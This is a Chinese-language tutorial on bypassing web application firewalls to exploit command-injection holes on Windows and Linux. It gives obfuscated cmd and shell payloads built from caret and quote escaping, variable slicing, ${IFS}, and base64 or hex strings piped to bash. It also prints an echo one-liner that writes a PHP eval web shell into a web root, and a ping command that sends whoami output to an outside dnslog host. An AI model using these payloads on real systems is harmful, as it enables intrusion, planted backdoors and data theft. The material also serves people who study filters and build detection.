绕过WAF运行命令执行漏洞的方法
0x01 Windows(不区分大小写)
1.1 符号和命令的关系
"
和^
是CMD命令中最常见的转义字符,还有成对的括号并不会影响命令的执行。
在命令中可以有无数个",但是不能有两个连续的^
在命令中如果"在^之前,则"的个数必须为偶数个
在命令中如果"在^之后,并且带有参数,则命令中的"个数必须为偶数
在命令的参数中,单个字符前后"的个数只能有一个或者两个
如果成对的括号中间有"则"的个数也必须为偶数
whoami //正确执行
WhOAmi //正确执行
Who"amI //正确执行
((Who"amI)) //错误
((Who""amI)) //正确执行
Who""""""""amI //正确执行
who"""a^mi //错误
who""""a^mi //正确执行
whoa^m""""i //正确执行
whoa^m"""i //正确执行
whoa^^mi //错误
n^e^t user //正确执行
n^e^t"" user //正确执行
n^e^t""" user //错误
n^e^t"" u"ser //正确执行
n^e^t"" u""ser //正确执行
n^e^t"" u"""ser //错误
n^e^t"" u""s"er //正确执行
n^e^t"" u""s""er //正确执行
n^e^t"" u""s"""er //错误
在cmd中set用来进行变量赋值,而%%括起来的变量会引用其赋的值。
这样就可以进行命令执行了
set cmd=whoami //赋值变量为whoami
%cmd% //执行命令
也可以赋值多个变量,拼接利用
set cmd1=who
set cmd2=am
set cmd3=i
%cmd1%%cmd2%%cmd3%
set cmd1=who
set cmd3=i
%cmd1%am%cmd3%
也可以与1.2的内容进行合并
set cmd1=wh""o
set cmd3=i"""
%cmd1%a^m%cmd3%
也可以在赋值的时候加入空格
set cmd1=s""er
set cmd2=t u
set cmd3=n^e
%cmd3%%cmd2%%cmd1%
Cmd /C "set cmd1=s""er && set cmd2=t u && set cmd3=n^e && call %cmd3%%cmd2%%cmd1%"
当使用cmd /V:ON
或cmd /V:O
时可以不使用call命令来扩展变量,使用 %var% 或 !var! 来扩展变量,!var!可以用来代替%var%
cmd /V:ON /C "set cmd=net user && !cmd!"
cmd /V:O /C "set cmd=net user && !cmd!"
set cmd=whoami
%cmd:~0% //取出a的值中的所有字符此时正常执行whoami
%cmd:~0,1% //取出a的值,从第0个位置开始,取1个值此时因为w总共就1个字符
%cmd:~0,6% //取出a的值,从第0个位置开始,取6个值此时因为whoami总共就6个字符
由此可以看出来截取字符串的语法为%变量名:~x,y%
即从变量第x位开始,截取y个字符。
C:\Users\a>set str=0123456789
C:\Users\a>echo %str:~-1%
9
从最后1位开始取整个字符串
C:\Users\a>echo %str:~-6%
456789
从倒数第6位开始取整个字符串
C:\Users\a>echo %str:~-9%
123456789
从倒数第9位开始取整个字符串
C:\Users\a>echo %str:~-9,2%
12
从倒数第9位开始取2位
C:\Users\a>echo %str:~-9,4%
1234
从倒数第9位开始取4位
C:\Users\a>echo %str:~-9,-2%
1234567
从倒数第9位开始少取最后2位
C:\Users\a>echo %str:~-9,-4%
12345
从倒数第9位开始少取最后4位
我们可以拼命令了
C:\Users\a>echo %COMPUTERNAME:~0,1%h%windir:~-3,1%%HOMEPATH:~-1%mi
Whoami
C:\Users\a>%COMPUTERNAME:~0,1%h%windir:~-3,1%%HOMEPATH:~-1%mi
win-tbucg5qo47j\a
C:\Users\a>d^i^r%CommonProgramFiles:~10,1%%commonprogramfiles:~0,3%
驱动器 C 中的卷没有标签。
卷的序列号是 5CE5-9A63
C:\ 的目录
2022/03/12 00:20 <DIR> JspStudy
2022/07/09 20:04 <DIR> MailMasterData
2009/07/14 11:20 <DIR> PerfLogs
我们还可以凑php一句话(这里为了方便所以自定义了一些字符)
C:\Users\a>set web=^<^>/@$_PHPOST[]?'e()val
C:\Users\a>echo ^%web:~0,1%^%web:~-8,1%%web:~6,3% ^%web:~-6,1%^%web:~-3,3%^%web:~-5,1%%web:~4,2%%web:~8,5%^%web:~-7,1%%web:~-1,1%^%web:~-7,1%%web:~13,1%^%web:~-4,1% ^%web:~-8,1%^%web:~1,1% > C:\phpstudy_pro\WWW\b.php
cmd /V:ON /C " set kpx=vwchdoaadmei&& for %G in (1,3,5,7,9,11,26) do set lq=!lq!!kpx:~%G,1!&& if %G==26 !lq:~4!"
分析Emotet木马中的cmd命令
%comspec%
,即是cmd.exe的执行路径,因此会执行cmd命令,这里才是命令的真正开头。因此程序开头可以进行化简。%comspec% /c for /f " delims=vf= tokens=2" %f in ( 'assoc .cmd' ) do %f /V /R
先利用%comspec% /c
执行第一个for循环,再利用for
循环的/f
参数,在命令assoc .cmd
结果.cmd=cmdfile
中以字符v、f、=为分隔符,取第二列即是“cmd
”。
这里自定义了一个环境变量@
,等于一个1460长度的字符串。然后利用for循环的/L参数,遍历变量@
:for /L %s in (1459,-4,+3 ) do set \=!\!!@ :~ %s, 1!& if %s equ 3 call %\:~-365%
,这个for循环自定义了环境变量"\
",还启用了延迟的环境变量扩展!
,!@:~%s,1!
表示循环变量%s
从1459开始,步长为-4
,到3
结束,循环提取变量@
中的字符,添加到\
变量中。当%s
到3
的时候就会执行\
中倒数365个字符组成的程序。
1.4 逻辑运算符在绕过中的作用
|
在cmd中,可以连接命令,且只会执行后面的命令
whoami | ping -n 1 www.baidu.com //只执行ping
ping -n 1 www.baidu.com | whoami //只执行whoami
||
只有在前面命令失败才执行后面
ping 127.0.0.1 || whoami //不执行whoami
ping xxx. || whoami //执行whoami
&
无论前面的命令是否能执行成功都会执行后面的命令
ping 127.0.0.1 & whoami //执行whoami
ping xxx. & whoami //执行whoami
&&
前面命令为真才会执行后面的命令。
ping 127.0.0.1 && whoami //执行whoami
ping xxx. && whoami //不执行whoami
0x02 Linux(区分大小写)
2.1 linux下的符号和逻辑运算符
linux中变量使用$
来引用,;
表示命令结束无论命令是否执行成功都会执行下一个命令,| || & &&
,与Windows一样,这里就不做赘述。
利用上面的符号可以进行拼接的命令:
t=l;j=s;i=" -al";$t$j$i
2.2 利用未被过滤的命令
假设有命令执行漏洞的网站中过滤的一些命令,但是没有过滤一些命令,例如ping命令,则可以利用ping命令来执行命令带出信息。
ping `whoami`.whjtmh.dnslog.cn
利用DNSLog就可以获得带出的信息(对于不回显的命令执行也可以利用这种方法)
2.3 linux符号之间的组合
类似于Windows的"
和^
linux也有类似的使用方法,就是利用变量和参数
who\ami
(whoa''mi)
`(echo whoami)`
$(echo whoami)
who$*ami
who$@ami
who$1ami
/u?r/b?n/who?mi
/*/*/whoam?
/*/*i[n]/wh??mi
/*/*""in/w'h'`dfds`??m$(sdf)i
2.4 linux切割字符串(linux区分大小写)
2.5 绕过空格过滤
在前端页面中可以利用%00,%0a,%0d等url编码来绕过空格的过滤,
利用大括号来绕过空格限制
{ls,-al}
{ping,-c,2,127.0.0.1}
${IFS}绕过空格
IFS是internal field separator的缩写,shell的特殊环境变量。shell根据IFS存储的值,可以是空格(040)、tab(011)、换行符(012)或者其他自定义符号,来解析输入和输出的变量值。这里echo -n是不进行自动换行
echo whoami|base64 //先输出whoami的base64编码
`echo dwhvYW1pCg==|base64 -d` //将其base64解码
2.7 hex编码绕过
# cat flag.php -> 63617420666c61672e706870
echo "63617420666c61672e706870"|xxd -r -p|bash
#xxd: 二进制显示和处理文件工具,cat: 以文本方式ASCII显示文件
#-r参数:逆向转换。将16进制字符串表示转为实际的数
#-ps参数:以 postscript的连续16进制转储输出,也叫做纯16进制转储。
#-r -p将纯十六进制转储的反向输出打印为了ASCII格式。
cat flag.php -> \x63\x61\x74\x20\x66\x6c\x61\x67\x2e\x70\x68\x70
#经测试,发现在php的ping环境上执行失败。在linux系统上执行成功
$(printf "\x63\x61\x74\x20\x66\x6c\x61\x67\x2e\x70\x68\x70")
{printf,"\x63\x61\x74\x20\x66\x6c\x61\x67\x2e\x70\x68\x70"}|bash
`{printf,"\x63\x61\x74\x20\x66\x6c\x61\x67\x2e\x70\x68\x70"}`
2.8 长度限制绕过
方法一:
可以利用base64解码的方式将脚本写入多个文件合并后再执行
echo "cat flag.txt" | base64 # 首先生成所需命令的base64字符串
# Y2F0IGZsYWcudHh0Cg==
echo -n Y2F0IG > a
echo -n ZsYWcu >b
echo -n dHh0Cg== > c
下面合并文件
cat b >> a
cat c >> a
解码文件
base64 -d a > shell.sh
sh shell.sh
方法二:
首先通过命令创建带有命令分隔的文件
> "txt"
> "ag.\\"
> "fl\\"
> "t \\"
> "ca\\"
在用ls -t输出到一个文件中,再利用sh执行
ls -t > shell2.sh
#如果创建空文件时,创建了点.开头的文件,上边命令要添加-a选项将隐藏文件也写入qwzf,即
ls -at > shell2.sh
sh shell2.sh
参考:
https://www.anquanke.com/post/id/208398
https://update.venuseye.com.cn/reports/1548417941041/%E4%BB%A5Emotet%E4%B8%BA%E4%BE%8B%E6%B7%B1%E5%85%A5%E5%88%86%E6%9E%90CMD%E5%91%BD%E4%BB%A4%E6%B7%B7%E6%B7%86%E6%8A%80%E6%9C%AF20181212.html
https://blog.csdn.net/whuslei/article/details/7187639